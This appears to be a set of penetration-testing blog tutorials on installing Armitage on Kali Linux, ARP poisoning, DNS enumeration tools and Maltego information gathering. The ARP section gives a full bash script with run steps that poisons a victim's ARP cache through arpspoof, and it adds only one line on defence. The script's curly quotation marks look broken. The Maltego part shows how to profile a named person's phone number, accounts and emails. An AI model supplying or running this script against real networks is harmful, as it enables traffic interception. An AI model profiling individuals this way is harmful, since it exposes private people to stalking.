You must be enjoying Kali Linux new feature and tools but without Armitage your hunting would be incomplete and you must be missing Armitage to run over new Kali Linux. In this tutorial you will be taught how to install & run Amritage on Kali Linux?

The purpose of this tutorial is to let you avoid the problems that most probably users had while installation. This tutorial also contains the solutions of those errors that you might face during installation. So here we go!

Step 1: Write the following command to install Armitage: apt-get install Armitage

Step 2: To run Armitage enter the command: Armitage

and fill the required information as shown in the below image.

Armitage installation is just done in two simple steps and now we will examine those errors that usually occur to most users during Armitage installation on Kali Linux.

Error 1: Armiatge could not found

Solution: You need to update your repositories using this command: apt-get update

Error 2: Database.yml file didn’t find

Solution: Start the Metasploit service by using this command: service Metasploit start

Have a great hunting with Armitage on Kali Linux, Good Luck!

In the ARP poisoning attack, attacker sends an ARP reply to victim’s ARP request for a server. The attacker claims to be that server, tying his own MAC address to that of an IP address owned by another device. The bogus ARP message then also adds an entry to the switch’s ARP table. When a message arrives for the device as shown in the given diagram MAC B bogus ARP entry diverts to it MAC C.

We have a script here which will help us automate the process of ARP poison attacks. All we need is to insert the IP address of the target and the IP of the Gateway. We will just launch it and it will keep working. The code for the script is given below, just don’t forget to change the NICCard variable to whatever adapter you are using (e.g: wlan0).

#!/bin/bash
niccard=wlan0
if [[ $EUID -ne 0 ]]; then
echo -e “\n\t\t\t\033[1m \033[31m Script must be run as root! \033[0m \n"
echo -e "\t\t\t Example: sudo $0 \n"
exit 1
else
echo -e "\n\033[1;32m#######################################"
echo -e "# ARP Poison Script #"
echo -e "#######################################"
echo -n "Please enter target's IP: "
read victimIP
echo -n "Please enter Gateway's IP: "
read gatewayIP
echo -e "\n\t\t ---===[Time to Pwn]===—\n\n\n”
echo -e “\t\t–==[Targets]==–”
echo -e “\t\tTarget: $victimIP”
echo -e “\t\tGateway: $gatewayIP \n\n”
echo -e “[*] Enabling IP Forwarding \n”
echo “1″ > /proc/sys/net/ipv4/ip_forward
echo -e “[*] Starting ARP Poisoning between $victimIP and $gatewayIP! \n”
xterm -e “arpspoof -i $niccard -t $victimIP $gatewayIP” &
fi

How to use this script?

Using this script is very easy, if you have Ubuntu you can easily install it using apt-get to download the dsniff suite like so: sudo apt-get install dsniff

Or just follow these few simple steps:

1. Copy the above script into a word editor like nano or gedit.
2. Save it as arppoison.sh.
3. Run the following command against it: chmod +x arppoison.sh
4. Use the following command to run it: sudo ./arppoison.sh
5. Enter in the victim IP
6. Enter in the Gateway IP (i.e. the router)
7. Sit back as it enables IP forwarding and launches another shell running Arpspoof.

Protection gainst ARP poison Attack:

There is few switches use DHCP Snooping with ARP security to protect network from ARP poisoning attack and make sure all ARP replies from un-trusted ports are checked if they contain legitimate IP information – safeguarding your network.

When it comes to web server’s penetration-testing, a DNS server is always on the top of the list because DNS server is the core gateway of an internal enterprise to the mighty internet. Information gathering, as we all know is an important part of Penetration, so gathering information about the DNS is just as important as the DNS server. Even if an attacker can enumerate a DNS server it can prove very lethal to the Organization whose information is stored on the server.

In this tutorial we will be looking at several tools and their usage by which we can enumerate a DNS server in several ways.

For this we will open CMD shell in BT and type cd /pentest/enumeration/dns

Then type ls

The list of DNS enumeration tools will appear and we will take a look at the use of all tools. 

First we will use dnsenum tool.
It is very easy to use this tool, just type the command in the format perl dnsenum.pl 

It will generate results as shown in below picture.

It provided us with the list of entire IPs used by the website including the mail servers. 

Now the trick to extract information that we need for further phases of Pen-testing e.g if you want to test the mail server you can telnet it and exploit it by foot-printing (will be explained in upcoming tutorials). The next tool that we will use is dnswalk. 

It is also a very good tool for enumerating and provides with filtered information of the target.You can access it by cd dns command in dns folder. Only the difference in the input is In Dnswalk the target ends with a “.” 

We got the results here, as we have mentioned earlier dnswalk only provides basic information like SOA server and warnings. It is a partial enumeration testing tool. 

Next tool we will be digging is called dnsrecon, You can find this in the dns folder, It is a tool written python scripting.

Now as you can see below that we have performed multiple operations with dnsrecon which will be explained further. You can retrieve SRV records of the target also query SOA etc.

For retrieving SRV records you have to type the command ./dnsrecon.py –t srv –d target name.

Now here is how the result of the srv records look like:

And here’s how we query the SOA, NS and MX of the servers using the command ./dnsrecon.py –t std –d
And here how the result will look like:

By DNS enumeration you can gather a lot of information about the target and it can prove to be very helpful in a penetration test.

One of the most complex steps in Penetration-Testing is information gathering about the target. It is also necessary because as much as accurate information the Pen-tester would have the more efficient the pen-test would be. In this article we will be looking into a tool that is very popular among Pen-Testers when it comes to Information Gathering. This tool is called Maltego. We will be looking into several aspects that how Maltego works? Maltego comes with both Linux and windows versions, it is also built in Backtrack.

Once we get registered on Matelgo, we will be seeing a graph on our screen. We will look at the possibilities of Information gathering through this tool. On the left hand you will see a palette which contains transforms you can run. Here’s how it will look like.

Now here you can see a number of transforms that used for information gathering. First, we will gather information about a website. In the palette we will look under the Infrastructure and then a website. We will put the name of the website in the information and click “Run all Transforms”. And this is what we will get.

Now as you can see we have got quite a bit of information here about Mile2 including its Public IP, the websites it’s connected to, and e-mail addresses etc. Now this information can be very helpful if you are an out-bound Penetration-Tester. Next, we will look at how we can use Maltego as a search engine to find certain entities for us that normal search engines won’t provide publicly on the web. For this example we will select the Document Entity in palette. Let suppose we want to search a document named Pentest-mag.

Now as you can see in above image it has provided me some links of different articles given Pen test-mag. Having seen that it has also given us a direct link to those articles without wasting our time on searching them out. Now let’s assume that during a critical Pentest we want to gather information about a particular person, Maltego can help us with that as well. We will have to select the Person Entity in the Palette and it will provide us with all the information on the web related to that person instantly. 

As the result on the graph we have some useful information about the particular person including telephone number, associated social networks, accounts and some emails. Now the accuracy of this information is not often guaranteed but it can be a handy tool.

These are just a few drills that Maltego can perform, it depends on your objective that what information you want to extract about what entity. This tool can make quite a difference sometimes during an operation while its uses are dependent upon the Pen-tester.